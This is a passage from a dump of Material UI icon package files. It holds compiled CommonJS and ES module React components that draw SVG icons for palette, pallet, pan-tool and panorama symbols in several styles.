    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.2-.64-1.67-.08-.1-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m5.5 11c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-3-4c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9M5 11.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5m6-4c0 .83-.67 1.5-1.5 1.5S8 8.33 8 7.5 8.67 6 9.5 6s1.5.67 1.5 1.5\"\n}), 'PaletteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 10 6.5 10s1.5.67 1.5 1.5S7.33 13 6.5 13m3-4C8.67 9 8 8.33 8 7.5S8.67 6 9.5 6s1.5.67 1.5 1.5S10.33 9 9.5 9m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9m4.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.21-.64-1.67-.08-.09-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m4 13h-1.77c-1.38 0-2.5 1.12-2.5 2.5 0 .61.22 1.19.63 1.65.06.07.14.19.14.35 0 .28-.22.5-.5.5-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.14 8 7c0 2.21-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"5\")], 'PaletteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 10 6.5 10s1.5.67 1.5 1.5S7.33 13 6.5 13m3-4C8.67 9 8 8.33 8 7.5S8.67 6 9.5 6s1.5.67 1.5 1.5S10.33 9 9.5 9m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9m4.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.21-.64-1.67-.08-.09-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m4 13h-1.77c-1.38 0-2.5 1.12-2.5 2.5 0 .61.22 1.19.63 1.65.06.07.14.19.14.35 0 .28-.22.5-.5.5-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.14 8 7c0 2.21-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"5\")], 'PaletteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pallet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 18v4h3v-2h5.5v2h3v-2H19v2h3v-4zM18 2H6c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m-3 6H9V6h6z\"\n}), 'Pallet');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pallet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 18v4h3v-2h5.5v2h3v-2H19v2h3v-4zM18 2H6c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m-3 6H9V6h6z\"\n}), 'Pallet');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanTool.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 5.5V20c0 2.2-1.8 4-4 4h-7.3c-1.08 0-2.1-.43-2.85-1.19L1 14.83s1.26-1.23 1.3-1.25c.22-.19.49-.29.79-.29.22 0 .42.06.6.16.04.01 4.31 2.46 4.31 2.46V4c0-.83.67-1.5 1.5-1.5S11 3.17 11 4v7h1V1.5c0-.83.67-1.5 1.5-1.5S15 .67 15 1.5V11h1V2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V11h1V5.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5\"\n}), 'PanTool');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanTool.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 5.5V20c0 2.2-1.8 4-4 4h-7.3c-1.08 0-2.1-.43-2.85-1.19L1 14.83s1.26-1.23 1.3-1.25c.22-.19.49-.29.79-.29.22 0 .42.06.6.16.04.01 4.31 2.46 4.31 2.46V4c0-.83.67-1.5 1.5-1.5S11 3.17 11 4v7h1V1.5c0-.83.67-1.5 1.5-1.5S15 .67 15 1.5V11h1V2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V11h1V5.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5\"\n}), 'PanTool');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.98 14.82-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L5 15.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V4.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07\"\n}), 'PanToolAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.98 14.82-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L5 15.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V4.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07\"\n}), 'PanToolAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 11.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V5.5C14 4.12 12.88 3 11.5 3S9 4.12 9 5.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 15.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 19h-6.55l-3.7-3.78 4.17.89V5.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 13.56z\"\n}), 'PanToolAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 11.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V5.5C14 4.12 12.88 3 11.5 3S9 4.12 9 5.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 15.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 19h-6.55l-3.7-3.78 4.17.89V5.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 13.56z\"\n}), 'PanToolAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.2 15.43c0-.65.6-1.13 1.24-.99l3.56.8V4.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69\"\n}), 'PanToolAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.2 15.43c0-.65.6-1.13 1.24-.99l3.56.8V4.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69\"\n}), 'PanToolAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.18 13.4 19.1 21h-9L5 15.62l1.22-1.23 3.78.85V4.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38z\"\n}), 'PanToolAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.18 13.4 19.1 21h-9L5 15.62l1.22-1.23 3.78.85V4.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38z\"\n}), 'PanToolAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.08 19h-6.55l-3.7-3.78 4.17.89V5.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 13.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 11.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V5.5C14 4.12 12.88 3 11.5 3S9 4.12 9 5.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 15.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 19h-6.55l-3.7-3.78 4.17.89V5.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 13.56z\"\n}, \"1\")], 'PanToolAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.08 19h-6.55l-3.7-3.78 4.17.89V5.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 13.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 11.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V5.5C14 4.12 12.88 3 11.5 3S9 4.12 9 5.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 15.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 19h-6.55l-3.7-3.78 4.17.89V5.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 13.56z\"\n}, \"1\")], 'PanToolAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 24h-6.55c-1.08 0-2.14-.45-2.89-1.23l-7.3-7.61 2.07-1.83c.62-.55 1.53-.66 2.26-.27L8 14.34V4.79c0-1.38 1.12-2.5 2.5-2.5.17 0 .34.02.51.05.09-1.3 1.17-2.33 2.49-2.33.86 0 1.61.43 2.06 1.09.29-.12.61-.18.94-.18 1.38 0 2.5 1.12 2.5 2.5v.28c.16-.03.33-.05.5-.05 1.38 0 2.5 1.12 2.5 2.5V20c0 2.21-1.79 4-4 4M4.14 15.28l5.86 6.1c.38.39.9.62 1.44.62H18c1.1 0 2-.9 2-2V6.15c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V3.42c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V2.51c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V4.79c0-.28-.22-.5-.5-.5s-.5.23-.5.5v12.87l-5.35-2.83z\"\n}), 'PanToolOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 24h-6.55c-1.08 0-2.14-.45-2.89-1.23l-7.3-7.61 2.07-1.83c.62-.55 1.53-.66 2.26-.27L8 14.34V4.79c0-1.38 1.12-2.5 2.5-2.5.17 0 .34.02.51.05.09-1.3 1.17-2.33 2.49-2.33.86 0 1.61.43 2.06 1.09.29-.12.61-.18.94-.18 1.38 0 2.5 1.12 2.5 2.5v.28c.16-.03.33-.05.5-.05 1.38 0 2.5 1.12 2.5 2.5V20c0 2.21-1.79 4-4 4M4.14 15.28l5.86 6.1c.38.39.9.62 1.44.62H18c1.1 0 2-.9 2-2V6.15c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V3.42c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V2.51c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V4.79c0-.28-.22-.5-.5-.5s-.5.23-.5.5v12.87l-5.35-2.83z\"\n}), 'PanToolOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 4c-.83 0-1.5.67-1.5 1.5v5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-8c0-.83-.67-1.5-1.5-1.5S16 1.67 16 2.5v8c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-9c0-.83-.67-1.5-1.5-1.5S12 .67 12 1.5v8.99c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.5c0-.83-.67-1.5-1.5-1.5S8 3.67 8 4.5v11.41l-4.12-2.35c-.58-.33-1.3-.24-1.78.22-.6.58-.62 1.54-.03 2.13l6.78 6.89c.75.77 1.77 1.2 2.85 1.2H19c2.21 0 4-1.79 4-4V5.5c0-.83-.67-1.5-1.5-1.5\"\n}), 'PanToolRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 4c-.83 0-1.5.67-1.5 1.5v5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-8c0-.83-.67-1.5-1.5-1.5S16 1.67 16 2.5v8c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-9c0-.83-.67-1.5-1.5-1.5S12 .67 12 1.5v8.99c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.5c0-.83-.67-1.5-1.5-1.5S8 3.67 8 4.5v11.41l-4.12-2.35c-.58-.33-1.3-.24-1.78.22-.6.58-.62 1.54-.03 2.13l6.78 6.89c.75.77 1.77 1.2 2.85 1.2H19c2.21 0 4-1.79 4-4V5.5c0-.83-.67-1.5-1.5-1.5\"\n}), 'PanToolRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 4v20H10.02L1 14.83 2.9 13 8 15.91V3h3v8h1V0h3v11h1V1h3v10h1V4z\"\n}), 'PanToolSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 4v20H10.02L1 14.83 2.9 13 8 15.91V3h3v8h1V0h3v11h1V1h3v10h1V4z\"\n}), 'PanToolSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 5.65c-.28 0-.5.22-.5.5V12h-2V3.42c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V2.51c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V4.79c0-.28-.22-.5-.5-.5s-.5.23-.5.5v12.87l-5.35-2.83-.51.45 5.86 6.1c.38.39.9.62 1.44.62H18c1.1 0 2-.9 2-2V6.15c0-.28-.22-.5-.5-.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.65c-.17 0-.34.02-.5.05v-.28c0-1.38-1.12-2.5-2.5-2.5-.33 0-.65.06-.94.18C15.11.44 14.35.01 13.5.01c-1.32 0-2.41 1.03-2.49 2.33-.16-.03-.33-.05-.51-.05-1.38 0-2.5 1.12-2.5 2.5v9.55l-2.41-1.28c-.73-.39-1.64-.28-2.26.27l-2.07 1.83 7.3 7.61c.75.78 1.8 1.23 2.89 1.23H18c2.21 0 4-1.79 4-4V6.15c0-1.38-1.12-2.5-2.5-2.5M20 20c0 1.1-.9 2-2 2h-6.55c-.54 0-1.07-.22-1.44-.62l-5.86-6.11.51-.45L10 17.66V4.79c0-.28.22-.5.5-.5s.5.23.5.5V12h2V2.51c0-.28.22-.5.5-.5s.5.22.5.5V12h2V3.42c0-.28.22-.5.5-.5s.5.22.5.5V12h2V6.15c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'PanToolTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanToolTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 5.65c-.28 0-.5.22-.5.5V12h-2V3.42c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V2.51c0-.28-.22-.5-.5-.5s-.5.22-.5.5V12h-2V4.79c0-.28-.22-.5-.5-.5s-.5.23-.5.5v12.87l-5.35-2.83-.51.45 5.86 6.1c.38.39.9.62 1.44.62H18c1.1 0 2-.9 2-2V6.15c0-.28-.22-.5-.5-.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.65c-.17 0-.34.02-.5.05v-.28c0-1.38-1.12-2.5-2.5-2.5-.33 0-.65.06-.94.18C15.11.44 14.35.01 13.5.01c-1.32 0-2.41 1.03-2.49 2.33-.16-.03-.33-.05-.51-.05-1.38 0-2.5 1.12-2.5 2.5v9.55l-2.41-1.28c-.73-.39-1.64-.28-2.26.27l-2.07 1.83 7.3 7.61c.75.78 1.8 1.23 2.89 1.23H18c2.21 0 4-1.79 4-4V6.15c0-1.38-1.12-2.5-2.5-2.5M20 20c0 1.1-.9 2-2 2h-6.55c-.54 0-1.07-.22-1.44-.62l-5.86-6.11.51-.45L10 17.66V4.79c0-.28.22-.5.5-.5s.5.23.5.5V12h2V2.51c0-.28.22-.5.5-.5s.5.22.5.5V12h2V3.42c0-.28.22-.5.5-.5s.5.22.5.5V12h2V6.15c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'PanToolTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Panorama.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2M8.5 12.5l2.5 3.01L14.5 11l4.5 6H5z\"\n}), 'Panorama');"
  },
  {
    "path": "packages/mui-icons-material/lib/Panorama.mjs",
